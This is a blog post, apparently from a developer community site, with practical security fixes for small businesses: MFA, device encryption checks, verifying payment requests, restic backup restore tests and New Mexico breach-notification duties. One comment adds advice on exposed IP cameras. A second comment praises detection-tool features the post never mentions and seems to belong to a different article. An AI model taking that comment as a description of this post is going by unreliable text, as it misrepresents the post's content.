If you're the developer, freelancer, or "computer person" at a small business, you probably also became the IT department. Remote and hybrid work made that job bigger: company data now lives on home routers, personal laptops, and cloud accounts nobody audits.
I'm writing this with New Mexico small businesses in mind, but the fixes apply anywhere. Most small business breaches aren't sophisticated. They come from the same five gaps.
1. Passwords are the only lock
A stolen or reused password is the easiest way in. Whoever controls email can reset nearly everything else.
Fix it this week:
- Turn on MFA for email first, then banking, payroll, and cloud storage.
- Prefer authenticator apps or hardware keys over SMS where possible.
- Roll out a business password manager so nobody reuses passwords.
2. Unmanaged devices and home Wi-Fi
An outdated laptop and a router with its default admin password are an open door.
Fix it this week: require updates, a screen lock, and full-disc encryption on every device that touches company data. Quick status checks:
# macOS: is FileVault on?
fdesetup status
# Linux: look for crypto_LUKS in the FSTYPE column
lsblk -f
# Windows (run as administrator): check BitLocker status
manage-bde -status
Also send staff a short home Wi-Fi checklist: change the router admin password, use WPA2 or WPA3, update the firmware, and put guests and smart devices on a separate network.
3. "Urgent" requests get through
At home, there's no coworker nearby to ask, "Did you get this weird email too?" Fake invoices and messages that look like the boss are common.
Fix it this week: make it a written rule that any request to send money or change payment details is confirmed by phone, using a number you already have. Make reporting a mistake safe, because delays make incidents worse.
4. Backups nobody has tested
A backup you've never restored is a hope, not a backup. Use the 3-2-1 rule: three copies, two storage types, and one offline or off-site.
Fix it this week: restore something. For example, with restic:
# Confirm snapshots exist and the repository is healthy
restic snapshots
restic check
# Restore one folder to a scratch location and verify it opens
restic restore latest --target /tmp/restore-test --include "/path/to/important/folder"
Put a recurring reminder on the calendar to repeat this twice a year.
5. Legal duties are unclear
New Mexico's Data Breach Notification Act expects businesses that hold residents' personal information to use reasonable security and to notify affected people after a breach. HIPAA, PCI DSS, or federal contractor requirements (like NIST SP 800-171 and CMMC) may also apply depending on the industry.
Fix it this week: write a one-page incident response plan with phone numbers for your IT provider, cyber insurance carrier, and an attorney. Confirm current requirements with legal counsel, since laws and thresholds change.
If you only have an hour
Turn on MFA for your business email. It's the highest-impact change most small businesses can make.
Free help
- Small Business Development Centers (SBDC) in New Mexico
- CISA's free resources for small organisations
- Your cyber insurance carrier, which may offer free risk assessments
General education only, not legal advice.
Discussion
What's the one security gap you keep finding at small businesses? Share it in the comments, and I'll cover the most common ones in a follow-up.
Top comments (2)
To answer your question directly: the gap I keep seeing isn't on the laptop or the email account, it's the cameras.
A friend who works in security put it well — the most exposed targets right now often aren't public-facing web servers, they're devices like IP cameras and DVR/NVR boxes that got plugged in, port-forwarded once for "remote viewing," and never touched again. No MFA concept applies to them, they rarely get firmware updates, and a lot of them still ship with a default admin password nobody ever changed. For a small business that added a camera or two when they went hybrid — watching a shop floor, a warehouse, a home office where equipment lives — that's a device sitting on the same network as payroll and client files, with essentially none of the protections in your list applying to it.
Unlike a laptop, nobody thinks of a camera as "IT," so it never makes it onto the audit. It just quietly sits there, exposed, until someone finds it.
Might be worth a line in a future post: change the default admin credentials, put cameras and other IoT devices on their own separate VLAN or guest network (same idea as the smart-device Wi-Fi advice you already give), and disable UPnP auto port-forwarding on the router so nothing exposes itself without someone deciding to.
The "attackers can't hide under an approved parent" fix is the standout change here. Whitelisting by parent process is such a common shortcut, and the failure mode you're closing — malware spawned from inside a trusted backup job silently vanishing — is exactly the kind of gap that only becomes obvious after someone's actually been burned by it. Scoring the whole branch instead of trusting the approved root is the right fix.
The breadth check before a rule saves is also a nice piece of design — refusing a whitelist rule that would silence a large share of everything, unless someone deliberately overrides it, puts a speed bump exactly where analysts are most likely to write an overly broad rule under time pressure.
I build RAG/LLM agent systems, and the evidence-linking piece maps onto a problem I deal with directly: grounding an explanation in the actual source data rather than letting a model narrate a plausible-sounding story disconnected from what really happened. Your approach of annotating the original verdict (rather than re-deciding it when an analyst clicks in) is the right instinct — the explanation should point at what already happened, not get regenerated and drift from the actual decision.
One thing I'm curious about: for the attribute-based rules ("anything writing to this log path"), how do you handle a rule that was correct when written but becomes wrong later — e.g. a legitimate tool starts writing to a path it never touched before, and that write now silently inherits an old approval intended for something else? Is that caught by the same graph-branch scoring, or is it a separate class of drift you're tracking?
Solid release — the unknown-parent handling (refusing an approval where an unknown placeholder is the only actor) is a small detail but a smart one; that's exactly the kind of gap that's obvious in hindsight and invisible until someone thinks about it deliberately.